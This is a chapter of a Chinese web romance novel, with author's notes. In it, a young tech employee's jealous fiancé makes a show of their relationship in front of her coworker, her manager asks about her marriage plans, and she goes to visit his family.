作者有话说:正文就到这里啦,一些重要配角可能在正文里剧情不够完整,番外都会交代清楚,每个人都有结局,当然主线内容还是围绕着男女主展开~很感谢大家的陪伴,希望继续支持呀 评论区50个红包~ 第67章 半年后。 芯汇集团总部大厦, 九层茶水间。 两位穿着时尚的女士正喝着咖啡提神,顺便聊起了最近的一些办公室传闻。 “你听说了吗?隔壁技术部来的那位新人,不仅人长得漂亮,还是位千金大小姐呢。” “怎么知道的?我只听说她去年刚从英国留学回来, 是名校毕业生。” “据说有同事好几次在楼下看见一辆宾利车来接她, 他们都猜是家里专门配置的司机。” “哇, 那真是了不得。不过这么有钱还来干技术岗,动不动就加班,怎么想的啊。” 对面的人耸了耸肩,“不懂,可能是热爱吧” 此刻另一边的办公室工位上, 两人口中的“大小姐”正聚精会神地盯着屏幕上那几行代码,手中飞快敲着键盘。 这两天同组的贺珣请假, 下午领导做报告需要数据支撑,她必须赶在中午之前把所有数据整理出来。 “缊酌, 你还不去吃饭呀?” 钟缊酌目不斜视,后知后觉应了声, “嗯, 你们先去吃吧,我要做完这份表。” “用不用给你带一份?” “不用啦, 谢谢。” 一直到中午一点钟, 钟缊酌才从屏幕前抬起头来。 她揉揉发酸的肩膀, 打算在公司食堂凑合一顿。 回来后, 恰巧在电梯口碰上了刚到公司的贺珣。 贺珣比她大三岁, 来这里也有两年了,作为同组年纪还算相仿的同事,钟缊酌一旦有不懂的问题都会请教他。 也因此在贺珣请假之后, 挺痛快地答应将他的工作一起揽了下来。 “缊酌,这两天真辛苦你了,晚上我请你吃饭吧。” 钟缊酌忙客气回道:“不用不用,你平时也经常帮我呀,应该的。” 电梯门打开,贺珣伸手帮她挡了一下,示意她先进。 “还是要请的,以前我帮的那都是顺手的忙,这次可不一样。我听同事说,昨晚你因为做两人的工作又加班到八点。” 钟缊酌不好意思地笑了下,“也怪我对项目还不熟练,若是换作你肯定会更快。” 钟缊酌最后还是没拗过他,两人下班后,来到公司附近的一家川菜馆。 贺珣拿起菜单,目光在对面女孩白净的脸蛋上停留几秒,“听说你喜欢吃辣,我就特意挑选了这家。” “其实也不是经常吃,偶尔吧。”钟缊酌有些心不在焉,“京市太干,吃多了容易上火。” “嗯,那来两道辣和两道不辣的。”贺珣很体贴地建议。 吃饭过程中,贺珣主动聊起一些话题,钟缊酌一一礼貌应答,心思却完全没在这儿。 屏幕再次亮起,钟缊酌说了句抱歉,打开手机。 FU:【还没吃完呢?再有十分钟我就到了。】 她甚至能想象出屏幕背后他那副无奈的表情和语气。 钟缊酌抿嘴憋住笑,给他回:【嗯,十分钟内我解决完。】 贺珣也算是挺有边界感的一个人,没问她在给谁发信息。 从饭馆出来,钟缊酌一眼就望见了停在路边的那辆宾利车。 她回头跟贺珣告别,然后开开心心地往马路边的方向走。 在她走过来的这两分钟,秦拂清脑子里闪过了无数个想法。 跟她吃饭的同事是个年轻小伙子?为什么单独约她吃饭?他知道她不是单身吗? 仔细一想,应该是不知道的。 毕竟先前他都是在车里等着,很少在她们公司楼下露脸。 秦拂清甚至开始怀疑,那些同事会不会认为他只是个专门开车的司机? 钟缊酌已经来到车前,正准备拉开副驾驶的门,对面的男人忽然下了车。 她惊讶地看着他绕过车头,一直走到她身边,将人往怀里一搂:“今天辛苦了。” 然后又在她的额头上落下一个吻。 钟缊酌有点懵。 这是春天一来,人的身体也跟着躁动起来了吗?已经等不及回去亲热了。 钟缊酌刚要给他一个回吻,秦拂清却直接拉开副驾驶的门,像是结束任务般地将人请进去,“上车吧。” 钟缊酌皮笑肉不笑,“好的。” 今天还是回壹号院,两人现在经常往那边跑,钟缊酌一直担心会不会太折腾他了。毕竟那小区离她上班的地方很近,离秦拂清的单位有点远。 “这会儿开回去要很晚了吧,下次我再跟同事吃饭,就不叫你来接我了,不然明天你还要早起。” “那怎么行。”秦拂清慢条斯理地嗤声,“我若是不来,怎么知道你在跟一小帅哥吃饭?” 钟缊酌刚喝下去的一口水差点儿喷出来。 所以他刚刚的举动,是在做给她同事看? 他这是又在胡思乱想些什么东西呢! 钟缊酌忽然生出一股想要逗人的心思。 “说说吧,为什么跟他吃饭。”男人语气里带着明显的不悦。 钟缊酌按下浮在脸上的笑意,一本正经道:“没什么原因,就是想请个客。你教过我的呀,人和人之间要互相欠着才能拉近关系。” 秦拂清果然上当:“跟同事拉近关系?有什么必要?” “那会儿我跟你也只是员工老板关系,你不也教育我要跟你走近?还是说,秦总那时候只是借着引导的名义,实则别有居心呢。” 秦拂清不说话了。 当初教她人情世故是真,夹带私心也是真,可万万没想到有一天这个回旋镖会扎到自己身上。 见他沉默下来,钟缊酌忽然转身凑过去,在他袖子上闻了闻。 眨巴着眼睛调侃:“咦,那股木质香调哪里去了,怎么变成一股醋味儿了?” 秦拂清只撇了她一眼,没好气道:“钟小姐,卖萌对我来说可没什么用。” 钟缊酌没接他的话茬,继续自言自语:“不仅身上味道变了,连眼神也不好使了,那也能叫帅啊,我怎么看都比不上某人一根头发丝呢。” “油嘴滑舌。” 尽管这么说,但不得不承认,这招对他来说还是挺受用的。 “哎,我说今天怎么这么奇怪,原来是打翻了醋坛子。”钟缊酌笑嘻嘻道,“刚刚在跟你开玩笑,工作上帮了人家点忙,回请吃顿饭而已。我都跟你订婚了,还不放心呀。” 半响后,秦拂清扯了下唇,“没办法,我的妻子年纪小,总会有些不知天高地厚的蠢货往她跟前凑。”[1] 钟缊酌脸一热,默默闭上了嘴。 都从哪里学来的台词,越来越浮夸了- 这件事很快在同部门里传开了。 说那经常来接钟老师的可不是什么司机,原来是她男朋友。 部门里的单身汉们都别打歪心思了,人家男朋友既帅又有钱,瞎了眼才会再看上别人呢。 也就是打那之后,贺珣也不再主动跟钟缊酌聊任何私人话题,只在工作需要沟通时才会来找她。 午休时,坐在钟缊酌对面的张月托着腮,忍不住发出感慨:“完蛋了,原来还只觉得高质量单身人士不会流入相亲市场,现在一看,连社会都流不进去,在学校里都被抢光了。” 另一旁的徐涛就说:“要不你再重新念个大学?像我们这样的低质量男性,你肯定看不上的。” 张月白了他一眼,往抱枕上一趴,“闭上嘴,我要睡个美容觉。” 钟缊酌暗自笑笑,正要跟着趴下睡会儿,最里面那间办公室的门忽然开了,郑经理走过来叫她:“缊酌,进来下。” 这还是领导第一次单独将她叫进办公室。 钟缊酌满脑子在想,她最近有没有犯什么错误?不会是要辞退她吧? 这么想着,钟缊酌越发忐忑不安起来,屏住呼吸坐在领导办公桌对面,等候着发落。 “别紧张,就是问你点问题。”郑经理语气温和地说。 钟缊酌心脏稍稍落下一些,轻轻点头。 “关于你男朋友的事,我也听说了一些。很抱歉不是有意要打探你隐私,但能否方便问一下,你近一年有结婚的打算吗?结婚后多久要孩子呢?” “当然,如果你不想说我也不会勉强,毕竟员工有保留隐私的权利。”郑经理补充一句。 她万万没想到会是这样的问题,一连串的灵魂发问让钟缊酌听得头都大了。 她坦白道:“结婚的话应该是在一两年之内,但什么时候要孩子确实没想过。郑总,我理解您的担心,但我才刚毕业,肯定是以工作为主的。” 郑经理笑了下,自己也有点不好意思,“或许是我刻板印象了,总觉得有钱人家比较看重相夫教子,是担心你干不了两年就要回归家庭。” 钟缊酌信誓旦旦地说:“这个您放心,我是花费多少心血才得来的这份工作,绝不会轻易丢掉。而且,我男朋友也很支持我的事业,他经常赞扬我越来越厉害了呢。” “那就好。”郑经理松口气,给了她一句鼓励,“加油干,你的悟性很不错,相信很快会有所成就。” “谢谢。”钟缊酌弯眼道。 晚上回到家,陶姨正在收拾东西,被她一整理,这屋子愈发显得宽敞了。 钟缊酌以前一个人缩在房间里时,常觉得很孤单,可和秦拂清在一起后,她再也没有过这样的感觉。 正恍惚着,被一阵电话铃声打断了思绪。 钟缊酌接起,顺势换掉鞋子往客厅走,“爸,我刚到家,怎么啦?” 钟启明问了她最近的情况,上班累不累同事好不好相处,又说天气暖了不要一下子减太多衣服,容易感冒,有句话叫春捂秋冻直到最后他才提起老婆叮嘱要讲的事。 “闺女啊,你有空跟那个小秦说一声,下次出差来看我们别带太贵重的东西了,心意到就好。” 后面钟启明又讲了什么她也没太听清楚,满脑子都是,他出差去看他们?她怎么不知道这事儿? 而且,他在这方面哪里会听她的话,让不送就不送呀。 钟缊酌应和两声,便挂了电话。 他背地里去跟未来岳父岳母搞好关系钟缊酌倒不意外,虽然两家人同意了订婚,但显然对对方还心存芥蒂。 仔细回想,这方面她自己就做得差劲多了。 自从过年期间那次拜访完之后,似乎就没再去登过门,实在不像话。 思虑片刻,钟缊酌给秦拂清发过去一条信息:【这周末我想去看望伯父伯母,你帮我问问方不方便?】 周末当天,钟缊酌拎着两瓶茅台,一支黄鹤楼,精心挑选的丝巾,还有一盒上好的凤梨酥敲响了那道朱红色大门。 她现在工资不低,买这些礼物也是绰绰有余的。 不一会儿,门从里面缓缓打开,走出一个人来。 可这人并不是她熟悉的那张英俊面孔,而是一个看上去只有十六七岁,清清冷冷自带一股仙气的小姑娘。 她秀眉一扬,咄咄开口:“你就是我小叔叔的女朋友?” 作者有话说:【1】来自网络梗。 评论区掉落红包~【..top】